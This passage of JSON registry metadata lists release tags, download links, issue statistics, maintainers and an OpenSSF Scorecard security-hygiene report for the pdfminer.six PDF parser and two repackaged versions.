fminer.six/tar.gz/20181108","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20181108","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20181108","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20181108","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20181108/manifests"},{"name":"20170720","sha":"4c604828e82ebdbff6c6979c45f61fda11b1f427","kind":"tag","published_at":"2017-07-20T19:36:35.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170720","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170720","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170720","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170720","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170720/manifests"},{"name":"20170419","sha":"baddb25df66c8830a4fce30f7cdf01d90c222a5d","kind":"tag","published_at":"2017-04-19T12:24:45.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170419","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170419","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170419","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170419","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170419/manifests"},{"name":"20170418","sha":"11a4c8b6c1430d97352fc5587935bdd1480f4f75","kind":"tag","published_at":"2017-04-18T17:14:10.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170418","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170418","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170418","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170418","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170418/manifests"},{"name":"20160614","sha":"881ea1755363900ebd480b11eb2bf92657ffc915","kind":"tag","published_at":"2016-06-14T17:03:44.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20160614","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20160614","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20160614","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20160614","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20160614/manifests"}]},"repo_metadata_updated_at":"2026-04-24T17:34:43.050Z","dependent_packages_count":0,"downloads":10,"downloads_period":"last-month","dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":56.53140893293694,"dependent_packages_count":10.04512527820813,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":33.28826710557254},"purl":"pkg:pypi/pdfminer.bc","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/pypi/pdfminer.bc","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/pypi/pdfminer.bc","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/pypi/pdfminer.bc/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-02-16T03:01:05.668Z","issues_count":311,"pull_requests_count":183,"avg_time_to_close_issue":34677680.936,"avg_time_to_close_pull_request":7645520.625,"issues_closed_count":125,"pull_requests_closed_count":152,"pull_request_authors_count":56,"issue_authors_count":198,"avg_comments_per_issue":1.7395498392282958,"avg_comments_per_pull_request":1.4153005464480874,"merged_pull_requests_count":117,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":55,"past_year_pull_requests_count":67,"past_year_avg_time_to_close_issue":2392773.347826087,"past_year_avg_time_to_close_pull_request":1654275.0576923077,"past_year_issues_closed_count":23,"past_year_pull_requests_closed_count":52,"past_year_pull_request_authors_count":17,"past_year_issue_authors_count":26,"past_year_avg_comments_per_issue":1.0727272727272728,"past_year_avg_comments_per_pull_request":1.1940298507462688,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":43,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/issues","maintainers":[{"login":"pietermarsman","count":84,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pietermarsman"},{"login":"jstockwin","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jstockwin"},{"login":"tataganesh","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tataganesh"}],"active_maintainers":[{"login":"pietermarsman","count":38,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pietermarsman"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pdfminer.bc/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pdfminer.bc/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pdfminer.bc/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pdfminer.bc/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pdfminer.bc/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pdfminer.bc/codemeta","maintainers":[{"uuid":"dylanzhang","login":"dylanzhang","name":null,"email":null,"url":null,"packages_count":1,"html_url":"https://pypi.org/user/dylanzhang/","role":null,"created_at":"2024-11-12T10:08:50.818Z","updated_at":"2024-11-12T10:08:50.818Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/dylanzhang/packages"}],"registry":{"name":"pypi.org","url":"https://pypi.org","ecosystem":"pypi","default":true,"packages_count":873148,"maintainers_count":373398,"namespaces_count":0,"keywords_count":280639,"github":"pypi","metadata":{"funded_packages_count":53810},"icon_url":"https://github.com/pypi.png","created_at":"2022-04-04T15:19:23.364Z","updated_at":"2026-05-13T05:09:37.527Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/namespaces"}},{"id":6149281,"name":"py3-pdfminer","ecosystem":"alpine","description":"Python PDF Parser","homepage":"https://github.com/pdfminer/pdfminer.six","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/pdfminer/pdfminer.six","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2021-12-15T19:18:11.000Z","latest_release_published_at":"2021-12-15T19:18:11.000Z","latest_release_number":"20201018-r2","last_synced_at":"2026-04-01T01:42:05.576Z","created_at":"2023-01-31T23:15:39.385Z","updated_at":"2026-04-01T01:42:05.577Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.16/community/x86_64/py3-pdfminer","install_command":"apk add py3-pdfminer","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":20194704,"uuid":"23465887","full_name":"pdfminer/pdfminer.six","owner":"pdfminer","description":"Community maintained fork of pdfminer - we fathom PDF","archived":false,"fork":false,"pushed_at":"2025-05-06T16:15:59.000Z","size":14777,"stargazers_count":6688,"open_issues_count":225,"forks_count":993,"subscribers_count":117,"default_branch":"master","last_synced_at":"2025-09-09T22:39:55.166Z","etag":null,"topics":["parser","pdf","python"],"latest_commit_sha":null,"homepage":"https://pdfminersix.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/pdfminer.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2014-08-29T14:04:53.000Z","updated_at":"2025-09-08T13:25:10.000Z","dependencies_parsed_at":"2023-11-24T19:31:13.024Z","dependency_job_id":"b5e49ed9-5c3c-40d5-a66f-0bab3e300fe5","html_url":"https://github.com/pdfminer/pdfminer.six","commit_stats":{"total_commits":833,"total_committers":131,"mean_commits":6.358778625954199,"dds":0.6614645858343338,"last_synced_commit":"5114acdda61205009221ce4ebf2c68c144fc4ee5"},"previous_names":[],"tags_count":27,"template":false,"template_full_name":null,"purl":"pkg:github/pdfminer/pdfminer.six","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/sbom","scorecard":{"id":725514,"data":{"date":"2025-08-11","repo":{"name":"github.com/pdfminer/pdfminer.six","commit":"51683b2528e2aa685dd8b9e61f6ccf9f76a59a62"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.1,"checks":[{"name":"Code-Review","score":4,"reason":"Found 13/30 approved changesets -- score normalized to 4","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":0,"reason":"0 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/actions.yml:1","Info: found token with 'none' permissions: .github/workflows/cifuzz.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found","Info: PythonAtherisFuzzer integration found: fuzzing/extract_text_fuzzer.py:3","Info: PythonAtherisFuzzer integration found: fuzzing/extract_text_to_fp_fuzzer.py:4","Info: PythonAtherisFuzzer integration found: fuzzing/page_extraction_fuzzer.py:4","Info: PythonAtherisFuzzer integration found: fuzzing/utils.py:6"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":0,"reason":"Project has not signed or included provenance with any releases.","details":["Warn: release artifact 20250506 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/216808673","Warn: release artifact 20250416 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/212749590","Warn: release artifact 20250327 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/208596512","Warn: release artifact 20250324 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/207771779","Warn: release artifact 20240706 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/164257153","Warn: release artifact 20250506 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/216808673","Warn: release artifact 20250416 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/212749590","Warn: release artifact 20250327 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/208596512","Warn: release artifact 20250324 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/207771779","Warn: release artifact 20240706 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/164257153"],"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:45: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:65: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:67: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:94: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:115: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:117: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/actions.yml:129: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/actions.yml:135: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:16: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:21: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:35: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: pipCommand not pinned by hash: fuzzing/build.sh:2","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:50","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:81","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:82","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:99","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:100","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:122","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:32","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:33","Info:   0 out of  13 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   4 third-party GitHubAction dependencies pinned","Info:   0 out of  10 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Branch-Protection","score":3,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'master'","Info: 'force pushes' disabled on branch 'master'","Warn: branch 'master' does not require approvers","Warn: codeowners review is not required on branch 'master'","Info: status check found to merge onto on branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/actions.yml:105"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 30 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T12:40:44.127Z","repository_id":20194704,"created_at":"2025-08-22T12:40:44.127Z","updated_at":"2025-08-22T12:40:44.127Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":274693397,"owners_count":25332518,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-09-11T02:00:13.660Z","response_time":74,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"pdfminer","name":"pdfminer","uuid":"22586632","kind":"organization","description":"we maintain pdfminer.six","email":null,"website":"https://github.com/pdfminer/","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/22586632?v=4","repositories_count":1,"last_synced_at":"2024-03-25T18:42:54.428Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/pdfminer","funding_links":[],"total_stars":5318,"followers":34,"following":0,"created_at":"2022-11-02T16:26:19.316Z","updated_at":"2024-03-25T18:42:54.837Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer/repositories"},"tags":[{"name":"20250506","sha":"51683b2528e2aa685dd8b9e61f6ccf9f76a59a62","kind":"tag","published_at":"2025-05-06T16:15:36.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250506","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250506","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250506","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250506","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250506/manifests"},{"name":"20250416","sha":"d12382b277e7efadf61e387170e2e9f13e909cb0","kind":"tag","published_at":"2025-04-16T09:42:14.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250416","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250416","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250416","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250416","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250416/manifests"},{"name":"20250327","sha":"cf7442f2c075374634624d50407c291e455dca2a","kind":"tag","published_at":"2025-03-27T07:50:45.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250327","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250327","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250327","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250327","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250327/manifests"},{"name":"20250324","sha":"84f24933924b048afdab8bc07431244bf861c15f","kind":"tag","published_at":"2025-03-24T07:29:56.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250324","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250324","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250324","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250324","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250324/manifests"},{"name":"20240706","sha":"fcfbcd3bfd61a429ac5ea92dd20f83a14d50e2f2","kind":"commit","published_at":"2024-07-06T13:47:18.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20240706","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20240706","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20240706","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20240706","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20240706/manifests"},{"name":"20231228","sha":"bd252ef5a578694efffdb1e42b24deea22f78d17","kind":"tag","published_at":"2023-12-28T21:24:07.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20231228","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20231228","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20231228","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20231228","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20231228/manifests"},{"name":"20221105","sha":"ebf7bcdb983f36d0ff5b40e4f23b52525cb28f18","kind":"tag","published_at":"2022-11-05T16:31:59.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20221105","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20221105","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20221105","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20221105","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20221105/manifests"},{"name":"20220524","sha":"0b09d5f8db1551d839d748f808eb246b95736b77","kind":"commit","published_at":"2022-05-24T17:41:54.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220524","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220524","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220524","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220524","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220524/manifests"},{"name":"20220506","sha":"e19aea932d10938a995e89aea79fb304da5a82ff","kind":"commit","published_at":"2022-05-06T20:02:32.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220506","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220506","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220506","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220506","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220506/manifests"},{"name":"20220319","sha":"ae7f31574642758a267a118c964ac874c1768ed5","kind":"commit","published_at":"2022-03-19T20:10:02.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220319","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220319","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220319","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220319","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220319/manifests"},{"name":"20211012","sha":"da5b96828efdb184f6410c43fea30f7b7c893dfb","kind":"commit","published_at":"2021-10-12T18:45:24.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20211012","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20211012","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20211012","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20211012","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20211012/manifests"},{"name":"20201018","sha":"c8cceb7c58deec9e647be6d3957e03442770bdd0","kind":"commit","published_at":"2020-10-18T10:57:26.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20201018","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20201018","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20201018","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20201018","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpd